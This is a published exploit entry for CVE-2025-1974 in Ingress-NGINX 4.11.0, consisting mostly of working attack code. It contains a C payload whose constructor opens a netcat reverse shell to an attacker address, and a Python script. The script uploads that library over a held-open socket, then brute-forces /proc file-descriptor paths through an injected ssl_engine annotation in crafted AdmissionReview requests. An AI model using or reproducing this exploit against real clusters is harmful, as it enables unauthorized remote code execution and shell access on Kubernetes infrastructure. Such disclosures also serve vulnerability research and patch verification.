1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 |
# Exploit Title: Ingress-NGINX 4.11.0 - Remote Code Execution (RCE) # Google Dork: N/A # Date: 2025-06-19 # Exploit Author: Likhith Appalaneni # Vendor Homepage: https://kubernetes.github.io/ingress-nginx/ # Software Link: https://github.com/kubernetes/ingress-nginx # Version: ingress-nginx v4.11.0 on Kubernetes v1.29.0 (Minikube) # Tested on: Ubuntu 24.04, Minikube vLatest, Docker vLatest # CVE : CVE-2025-1974 1) Update the attacker ip and listening port in shell.c and Compile the shell payload: gcc -fPIC -shared -o shell.so shell.c 2) Run the exploit: python3 exploit.py The exploit sends a crafted AdmissionRequest to the vulnerable Ingress-NGINX webhook and loads the shell.so to achieve code execution. <---> shell.c <---> #include <stdlib.h> __attribute__((constructor)) void init() { system("sh -c 'nc attacker-ip attacker-port -e /bin/sh'"); } <---> shell.c <---> <---> exploit.py <---> import json import requests import threading import time import urllib3 import socket import argparse urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def upload_shell_via_socket(file_path, target_host, target_port): print("[*] Uploading shell.so via raw socket to keep FD open...") try: with open(file_path, "rb") as f: data = f.read() data += b"\x00" * (16384 - len(data) % 16384) content_len = len(data) + 2024 payload = f"POST /fake/addr HTTP/1.1\r\nHost: {target_host}:{target_port}\r\nContent-Type: application/octet-stream\r\nContent-Length: {content_len}\r\n\r\n".encode("ascii") + data sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_host, target_port)) sock.sendall(payload) print("[*] Payload sent, holding connection open for 220s...") time.sleep(220) sock.close() except Exception as e: print(f"[!] Upload failed: {e}") def build_payload(pid, fd): annotation = "http://x/#;" + ("}" * 3) + f"\nssl_engine /proc/{pid}/fd/{fd};\n#" return { "kind": "AdmissionReview", "apiVersion": "admission.k8s.io/v1", "request": { "uid": "exploit-uid", "kind": { "group": "networking.k8s.io", "version": "v1", "kind": "Ingress" }, "resource": { "group": "networking.k8s.io", "version": "v1", "resource": "ingresses" }, "requestKind": { "group": "networking.k8s.io", "version": "v1", "kind": "Ingress" }, "requestResource": { "group": "networking.k8s.io", "version": "v1", "resource": "ingresses" }, "name": "example-ingress", "operation": "CREATE", "userInfo": { "username": "kube-review", "uid": "d9c6bf40-e0e6-4cd9-a9f4-b6966020ed3d" }, "object": { "kind": "Ingress", "apiVersion": "networking.k8s.io/v1", "metadata": { "name": "example-ingress", "annotations": { "nginx.ingress.kubernetes.io/auth-url": annotation } }, "spec": { "ingressClassName": "nginx", "rules": [ { "host": "hello-world.com", "http": { "paths": [ { "path": "/", "pathType": "Prefix", "backend": { "service": { "name": "web", "port": { "number": 8080 } } } } ] } } ] } }, "oldObject": None, "dryRun": False, "options": { "kind": "CreateOptions", "apiVersion": "meta.k8s.io/v1" } } } def send_requests(admission_url, pid_range, fd_range): for pid in range(pid_range[0], pid_range[1]): for fd in range(fd_range[0], fd_range[1]): print(f"Trying /proc/{pid}/fd/{fd}") payload = build_payload(pid, fd) try: resp = requests.post( f"{admission_url}/networking/v1/ingresses", headers={"Content-Type": "application/json"}, data=json.dumps(payload), verify=False, timeout=5 ) result = resp.json() msg = result.get("response", {}).get("status", {}).get("message", "") if "No such file" in msg or "Permission denied" in msg: continue print(f"[+] Interesting response at /proc/{pid}/fd/{fd}:\n{msg}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": parser = argparse.ArgumentParser(description="Exploit CVE-2025-1974") parser.add_argument("--upload-url", required=True, help="Upload URL (e.g., http://127.0.0.1:8080)") parser.add_argument("--admission-url", required=True, help="Admission controller URL (e.g., https://127.0.0.1:8443)") parser.add_argument("--shell", default="shell.so", help="Path to shell.so file") parser.add_argument("--pid-start", type=int, default=26) parser.add_argument("--pid-end", type=int, default=30) parser.add_argument("--fd-start", type=int, default=1) parser.add_argument("--fd-end", type=int, default=100) args = parser.parse_args() host = args.upload_url.split("://")[-1].split(":")[0] port = int(args.upload_url.split(":")[-1]) upload_thread = threading.Thread(target=upload_shell_via_socket, args=(args.shell, host, port)) upload_thread.start() time.sleep(3) send_requests(args.admission_url, (args.pid_start, args.pid_end), (args.fd_start, args.fd_end)) upload_thread.join() <---> exploit.py <---> |